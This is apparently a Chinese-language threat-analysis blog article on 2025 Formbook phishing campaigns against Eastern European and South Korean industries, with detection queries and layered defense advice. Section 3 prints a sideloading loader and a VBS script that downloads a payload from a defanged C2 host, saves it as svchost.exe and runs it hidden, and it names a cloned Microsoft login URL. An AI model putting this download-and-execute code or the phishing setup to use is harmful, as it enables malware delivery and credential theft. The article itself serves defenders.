1 引言
Formbook作为一款活跃超过七年的信息窃取木马,因其模块化架构、凭证提取能力及较低的检测率,长期被各类威胁行为者用于针对高价值行业的定向攻击。2025年第三季度,网络安全机构F6与NSHC分别披露了两起独立但技术特征鲜明的Formbook投递活动,分别由“ComicForm”组织和亲俄黑客团体SectorJ149(又称UAC-0050)实施。前者聚焦俄罗斯、白俄罗斯与哈萨克斯坦的工业、金融及生物科技实体,后者则以韩国制造、能源与半导体企业为主要目标。尽管地理区域与行业分布不同,两类攻击均展现出对传统邮件安全防线的深度规避能力——通过非常规压缩格式(如RR、CAB)伪装恶意载荷,并结合社会工程诱饵实现初始突破。
值得注意的是,此次曝光的攻击链不再依赖单一传播路径,而是同步采用附件型与链接型两种投递模式:前者利用用户对发票、合同等业务文档的信任,诱导执行伪装为PDF的可执行文件;后者则通过伪造登录页面套取邮箱凭据,为后续横向移动铺路。更关键的是,攻击者在载荷投递阶段广泛使用合法系统组件(Living-off-the-Land Binaries, LOLBins)进行侧加载或脚本执行,显著提升绕过终端防护的成功率。

本文基于公开威胁情报与技术细节,系统剖析这两起Formbook活动的攻击链构造、载荷混淆机制、横向扩展策略及其所暴露的防御盲区。通过复现核心攻击环节、分析VBS/CAB与RR/DLL组合的执行逻辑,并结合实际代码示例,提出覆盖邮件网关、终端运行时、身份认证三层的纵深防御框架。研究旨在揭示老牌信息窃取木马在新型投递技术加持下的持续生命力,并为关键基础设施行业提供可落地的缓解建议。
2 攻击活动概述与目标画像
2.1 ComicForm行动:东欧多行业覆盖
根据F6报告,ComicForm自2025年8月起发起多轮钓鱼活动,主要针对俄语区国家的以下行业:
工业制造:涉及重型机械与自动化控制系统供应商;
金融服务:包括区域性银行与投资机构;
生物科技:专注基因测序与医药研发企业;
贸易与物流:拥有跨境供应链管理系统的公司。
攻击邮件主题高度本地化,常见如“未付发票 #INV-2025-0873”、“海关清关文件待确认”等,正文使用俄语撰写,附件命名为Invoice_8732.RR或Document_SCN_2025.RR。此类命名刻意模仿扫描文档格式,诱导用户双击解压。

2.2 SectorJ149行动:聚焦韩国高科技产业
NSHC披露,SectorJ149同期对韩国发动针对性攻击,目标集中于:
半导体制造:晶圆代工厂与设备供应商;
能源企业:国有电力公司与新能源研发机构;
高端制造业:汽车电子与精密仪器厂商。
其钓鱼邮件多以“采购订单更新”、“技术规格变更通知”为由,附件为Order_Update.cab或Spec_Change.cab。值得注意的是,该组织在邮件中嵌入短链接(如bit.ly/xxx),重定向至伪造的Microsoft 365登录页,试图在初始接触阶段即获取有效凭据。
两类行动虽独立运作,但均体现出多载荷并行投递(Formbook + Lumma Stealer + Remcos RAT)与多入口融合(附件+链接)的战术升级。

3 载荷投递与执行机制分析
3.1 RR压缩包与伪PDF可执行体
RR(RAR Recovery Volume)并非标准压缩格式,而是一种由WinRAR支持的恢复卷文件,通常用于修复损坏的RAR档案。攻击者利用其低普及度与邮件网关规则缺失,将其作为第一层载体。
用户双击.RR文件后,若系统已安装WinRAR,将自动解压出一个名为invoice.pdf.exe的文件。该文件图标被精心替换为Adobe PDF标志,且版本信息字段填充“Adobe Acrobat Reader DC 2025.001.20056”,极具迷惑性。
实际上,该可执行体为一个轻量级加载器,其核心功能是释放并调用同目录下的恶意DLL。典型执行流程如下:
// loader.c (简化版)
#include <windows.h>
int main() {
// 伪装为PDF阅读器启动画面
MessageBoxA(NULL, "Loading document...", "Adobe Acrobat", MB_ICONINFORMATION | MB_OK);
// 侧加载同名DLL
LoadLibraryA("invoice.pdf.dll");
return 0;
}
该DLL即为Formbook主载荷,通过进程注入或直接内存执行窃取浏览器Cookie、保存的密码、FTP凭证及剪贴板内容。

3.2 CAB伪装与VBS脚本执行
SectorJ149采用更为隐蔽的CAB(Microsoft Cabinet)格式。CAB为Windows原生支持的压缩格式,常用于驱动程序分发,因此常被允许通过邮件网关。
攻击者将恶意VBS脚本嵌入CAB文件,命名如update_script.vbs。用户解压后双击运行,触发以下行为:
' update_script.vbs
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
' 从C2下载加密载荷
objHTTP.Open "GET", "hxxps://cdn[.]updateservice[.]top/form.dat", False
objHTTP.Send
' 写入临时目录
tempPath = Environ("TEMP") & "\svchost.exe"
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objHTTP.responseBody
objStream.SaveToFile tempPath, 2
' 执行Formbook
CreateObject("WScript.Shell").Run tempPath, 0, False
此脚本全程使用Windows内置COM对象(如MSXML2.XMLHTTP、ADODB.Stream),属于典型的LOLBins滥用,可绕过基于进程白名单的EDR产品。
更进一步,部分变种会先下载一个CAB格式的第二阶段载荷,内含Formbook、Lumma Stealer(专注于加密货币钱包窃取)及Remcos RAT(远程控制工具),实现多恶意软件协同作业。
3.3 链接型钓鱼与凭据收割
除附件外,两类组织均部署了钓鱼链接。例如,邮件中包含“点击此处查看共享文档”按钮,实际指向:
hxxps://microsoft365-login[.]ru/signin
该页面完全克隆Microsoft Entra ID登录界面,提交凭据后:
将用户名/密码发送至C2服务器;
返回真实Microsoft登录页,制造“登录成功”假象;
后台利用凭据尝试访问Exchange Online,窃取邮件或发起内部钓鱼。
此手法可在不部署任何恶意文件的情况下完成初始入侵,极大降低检测概率。
4 防御盲区与现有措施局限
当前企业安全体系在面对上述攻击时存在多重短板:
邮件网关对非常规格式识别不足:RR、CHM、ISO等格式常被放行,因缺乏历史威胁关联;
双后缀文件检测缺失:invoice.pdf.exe在部分系统中仅显示为invoice.pdf,用户难以察觉;
VBS/JS脚本执行策略宽松:默认允许用户运行脚本,且无行为监控;
LOLBins滥用难阻断:rundll32.exe、mshta.exe、wscript.exe等合法进程被滥用于加载恶意代码;
DMARC配置不完善:多数中小企业未启用p=reject策略,导致仿冒邮件轻易投递成功。
此外,财务与供应链相关邮箱往往权限较高,却缺乏异常登录告警(如非工作时间、非常用地IP),成为攻击首选入口。
5 多层防御体系设计
5.1 邮件层:强化格式识别与发件人验证
阻断高风险附件类型:在网关策略中明确禁止.RR、.CHM、.SCR、.HTA等非必要格式;
启用双后缀检测:通过正则匹配附件名是否包含.pdf.exe、.doc.scr等模式;
强制DMARC p=reject:确保未通过SPF/DKIM验证的邮件被拒收;
部署URL信誉服务:对邮件中所有链接实时查询威胁情报平台。
5.2 终端层:限制脚本与LOLBins滥用
禁用VBS/JS/WSH执行:通过组策略设置:
计算机配置 → 管理模板 → Windows组件 → Windows Script Host → 禁用
应用应用控制策略:使用Microsoft Defender Application Control (WDAC) 或 AppLocker,仅允许可信签名程序运行;
监控DLL侧加载行为:通过EDR规则检测LoadLibrary调用中路径包含.pdf.dll、.doc.dll等异常组合;
隔离压缩包执行环境:对来自邮件的压缩文件,强制在虚拟容器中解压并扫描。
5.3 身份与访问管理
对高权限邮箱启用条件访问:要求FIDO2安全密钥或多因素认证;
部署异常登录检测:基于IP地理位置、设备指纹、登录时间建立基线,偏离即告警;
定期轮换PAT与应用密码:减少凭据泄露后的持久化窗口。
6 代码级检测与响应示例
6.1 检测RR附件与伪PDF
在SIEM中编写规则识别可疑邮件:
// KQL: 检测RR附件与双后缀EXE
EmailEvents
| where AttachmentFileName endswith ".RR"
| extend Attachments = parse_json(AttachmentDetails)
| mv-expand Attachments
| where tostring(Attachments.FileName) matches regex @".*\.(pdf|docx|xlsx)\.exe$"
| project TimeGenerated, SenderFromAddress, Recipient, Attachments.FileName, ThreatLevel = "Critical"
6.2 监控VBS启动恶意进程
通过EDR日志检测可疑脚本行为:
# PowerShell: 检测WScript启动非系统路径EXE
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 -and $_.Properties[1].Value -like "*\Temp\*" -and $_.Properties[10].Value -like "*wscript.exe*" }
6.3 自动化解包分析工具
开发自动化沙箱脚本处理可疑CAB:
import os
import subprocess
import tempfile
def analyze_cab(cab_path):
with tempfile.TemporaryDirectory() as tmpdir:
# 使用expand.exe解压CAB(Windows原生命令)
subprocess.run(["expand", cab_path, "-F:*", tmpdir], capture_output=True)
for root, _, files in os.walk(tmpdir):
for f in files:
if f.endswith(('.vbs', '.js', '.exe')):
print(f"[ALERT] Suspicious file: {os.path.join(root, f)}")
# 可集成YARA扫描或上传至VT
7 结语
Formbook的持续活跃并非源于其技术先进性,而在于攻击者对其投递链的不断优化——通过融合非常规压缩格式、LOLBins滥用、社会工程诱饵与多载荷协同,构建出高效且低噪的入侵路径。ComicForm与SectorJ149的并行行动表明,即使是老牌木马,在适配区域化目标与利用平台原生机制后,仍能对关键行业构成实质性威胁。
防御此类攻击,不能依赖单一技术点修补,而需构建覆盖投递前(邮件过滤)、投递中(终端阻断)、投递后(身份保护) 的闭环体系。尤其应重视对“合法格式滥用”与“脚本侧加载”等灰色地带的管控。未来,随着攻击者进一步整合AI生成诱饵文本与动态C2基础设施,防御方需将威胁情报、行为分析与自动化响应深度耦合,方能在信息窃取木马的持久对抗中守住防线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
538

被折叠的 条评论
为什么被折叠?



